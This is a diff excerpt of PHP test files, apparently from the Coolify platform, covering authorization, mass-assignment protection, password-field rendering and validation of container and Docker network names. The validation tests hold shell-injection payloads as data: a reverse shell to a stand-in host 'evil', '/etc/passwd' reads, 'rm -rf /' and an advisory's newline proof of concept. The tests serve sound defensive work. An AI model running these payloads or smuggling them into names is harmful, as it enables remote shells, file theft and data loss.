// Server::created auto-creates a StandaloneDocker, reuse it
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('GetLogs locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('server property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'server');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resource property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'resource');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('servicesubtype property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(GetLogs::class, 'servicesubtype');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs Livewire action validation', function () {
|
||||
test('getLogs rejects invalid container name', function () {
|
||||
// Make server functional by setting settings directly
|
||||
$this->server->settings->forceFill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
// Reload server with fresh settings to ensure casted values
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container;malicious-command',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Invalid container name.');
|
||||
});
|
||||
|
||||
test('getLogs rejects unauthorized server access', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('getLogs')
|
||||
->assertSet('outputs', 'Unauthorized.');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for invalid container name', function () {
|
||||
$this->server->settings->forceFill([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
])->save();
|
||||
$server = Server::with('settings')->find($this->server->id);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $server,
|
||||
'resource' => $this->application,
|
||||
'container' => 'container$(whoami)',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
|
||||
test('downloadAllLogs returns empty for unauthorized server', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
Livewire::test(GetLogs::class, [
|
||||
'server' => $otherServer,
|
||||
'resource' => $this->application,
|
||||
'container' => 'test-container',
|
||||
])
|
||||
->call('downloadAllLogs')
|
||||
->assertReturned('');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GetLogs container name injection payloads are blocked by validation', function () {
|
||||
test('newline injection payload is rejected', function () {
|
||||
// The exact PoC payload from the advisory
|
||||
$payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#";
|
||||
expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse();
|
||||
});
|
||||
|
||||
test('semicolon injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('backtick injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('command substitution injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('pipe injection payload is rejected', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('valid container names are accepted', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
196
tests/Feature/MassAssignmentProtectionTest.php
Normal file
196
tests/Feature/MassAssignmentProtectionTest.php
Normal file
|
|
@ -0,0 +1,196 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
describe('mass assignment protection', function () {
|
||||
|
||||
test('no API-exposed model uses unguarded $guarded = []', function () {
|
||||
$models = [
|
||||
Application::class,
|
||||
Service::class,
|
||||
User::class,
|
||||
Team::class,
|
||||
Server::class,
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$guarded = $model->getGuarded();
|
||||
$fillable = $model->getFillable();
|
||||
|
||||
// Model must NOT have $guarded = [] (empty guard = no protection)
|
||||
// It should either have non-empty $guarded OR non-empty $fillable
|
||||
$hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
|
||||
$hasProtection = $hasProtection || count($fillable) > 0;
|
||||
|
||||
expect($hasProtection)
|
||||
->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model blocks mass assignment of relationship IDs', function () {
|
||||
$application = new Application;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeFalse("Application model should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Application model allows mass assignment of user-facing fields', function () {
|
||||
$application = new Application;
|
||||
$userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
|
||||
|
||||
foreach ($userFields as $field) {
|
||||
expect($application->isFillable($field))
|
||||
->toBeTrue("Application model should allow mass assignment of '{$field}'");
|
||||
}
|
||||
});
|
||||
|
||||
test('Server model has $fillable and no conflicting $guarded', function () {
|
||||
$server = new Server;
|
||||
$fillable = $server->getFillable();
|
||||
$guarded = $server->getGuarded();
|
||||
|
||||
expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
|
||||
|
||||
// Guarded should be the default ['*'] when $fillable is set, not []
|
||||
expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
|
||||
});
|
||||
|
||||
test('Server model blocks mass assignment of dangerous fields', function () {
|
||||
$server = new Server;
|
||||
|
||||
// These fields should not be mass-assignable via the API
|
||||
expect($server->isFillable('id'))->toBeFalse();
|
||||
expect($server->isFillable('uuid'))->toBeFalse();
|
||||
expect($server->isFillable('created_at'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('User model blocks mass assignment of auth-sensitive fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
|
||||
expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
|
||||
expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
|
||||
expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
|
||||
expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
|
||||
expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
|
||||
expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
|
||||
expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
|
||||
});
|
||||
|
||||
test('User model allows mass assignment of profile fields', function () {
|
||||
$user = new User;
|
||||
|
||||
expect($user->isFillable('name'))->toBeTrue();
|
||||
expect($user->isFillable('email'))->toBeTrue();
|
||||
expect($user->isFillable('password'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('Team model blocks mass assignment of internal fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('id'))->toBeFalse();
|
||||
expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
|
||||
expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
|
||||
});
|
||||
|
||||
test('Team model allows mass assignment of expected fields', function () {
|
||||
$team = new Team;
|
||||
|
||||
expect($team->isFillable('name'))->toBeTrue();
|
||||
expect($team->isFillable('description'))->toBeTrue();
|
||||
expect($team->isFillable('personal_team'))->toBeTrue();
|
||||
expect($team->isFillable('show_boarding'))->toBeTrue();
|
||||
expect($team->isFillable('custom_server_limit'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('standalone database models block mass assignment of relationship IDs', function () {
|
||||
$models = [
|
||||
StandalonePostgresql::class,
|
||||
StandaloneRedis::class,
|
||||
StandaloneMysql::class,
|
||||
StandaloneMariadb::class,
|
||||
StandaloneMongodb::class,
|
||||
StandaloneKeydb::class,
|
||||
StandaloneDragonfly::class,
|
||||
StandaloneClickhouse::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$model = new $modelClass;
|
||||
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
|
||||
|
||||
foreach ($dangerousFields as $field) {
|
||||
expect($model->isFillable($field))
|
||||
->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('standalone database models allow mass assignment of config fields', function () {
|
||||
$model = new StandalonePostgresql;
|
||||
expect($model->isFillable('name'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_user'))->toBeTrue();
|
||||
expect($model->isFillable('postgres_password'))->toBeTrue();
|
||||
expect($model->isFillable('image'))->toBeTrue();
|
||||
expect($model->isFillable('limits_memory'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneRedis;
|
||||
expect($model->isFillable('redis_conf'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMysql;
|
||||
expect($model->isFillable('mysql_root_password'))->toBeTrue();
|
||||
|
||||
$model = new StandaloneMongodb;
|
||||
expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('Application fill ignores non-fillable fields', function () {
|
||||
$application = new Application;
|
||||
$application->fill([
|
||||
'name' => 'test-app',
|
||||
'environment_id' => 999,
|
||||
'destination_id' => 999,
|
||||
'team_id' => 999,
|
||||
'private_key_id' => 999,
|
||||
]);
|
||||
|
||||
expect($application->name)->toBe('test-app');
|
||||
expect($application->environment_id)->toBeNull();
|
||||
expect($application->destination_id)->toBeNull();
|
||||
expect($application->private_key_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('Service model blocks mass assignment of relationship IDs', function () {
|
||||
$service = new Service;
|
||||
|
||||
expect($service->isFillable('id'))->toBeFalse();
|
||||
expect($service->isFillable('uuid'))->toBeFalse();
|
||||
expect($service->isFillable('environment_id'))->toBeFalse();
|
||||
expect($service->isFillable('destination_id'))->toBeFalse();
|
||||
expect($service->isFillable('server_id'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
41
tests/Feature/PasswordVisibilityComponentTest.php
Normal file
41
tests/Feature/PasswordVisibilityComponentTest.php
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Support\MessageBag;
|
||||
use Illuminate\Support\ViewErrorBag;
|
||||
|
||||
beforeEach(function () {
|
||||
$errors = new ViewErrorBag;
|
||||
$errors->put('default', new MessageBag);
|
||||
view()->share('errors', $errors);
|
||||
});
|
||||
|
||||
it('renders password input with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"')
|
||||
->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password textarea with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('resets password visibility on success event for env-var-input', function () {
|
||||
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain("@success.window=\"type = 'password'\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"');
|
||||
});
|
||||
48
tests/Unit/DockerNetworkInjectionTest.php
Normal file
48
tests/Unit/DockerNetworkInjectionTest.php
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
<?php
|
||||
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\SwarmDocker;
|
||||
|
||||
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'space injection' => 'net work',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('StandaloneDocker accepts valid network names', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'alphanumeric' => 'network123',
|
||||
]);
|
||||
|
||||
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('SwarmDocker accepts valid network names', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
]);
|
||||
|
|
@ -80,3 +80,53 @@
|
|||
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
|
||||
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
|
||||
});
|
||||
|
||||
it('accepts valid Docker network names', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
|
||||
})->with([
|
||||
'simple name' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
|
||||
'alphanumeric' => 'network123',
|
||||
'starts with number' => '1network',
|
||||
'complex valid' => 'coolify-proxy.net_2',
|
||||
]);
|
||||
|
||||
it('rejects Docker network names with shell metacharacters', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'ampersand injection' => 'net&rm -rf /',
|
||||
'space' => 'net work',
|
||||
'newline' => "net\nwork",
|
||||
'starts with dot' => '.network',
|
||||
'starts with hyphen' => '-network',
|
||||
'slash' => 'net/work',
|
||||
'backslash' => 'net\\work',
|
||||
'empty string' => '',
|
||||
'single quotes' => "net'work",
|
||||
'double quotes' => 'net"work',
|
||||
'greater than' => 'net>work',
|
||||
'less than' => 'net<work',
|
||||
]);
|
||||
|
||||
it('generates dockerNetworkRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable dockerNetworkRules when not required', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
|
|
|||
Loading…
Reference in a new issue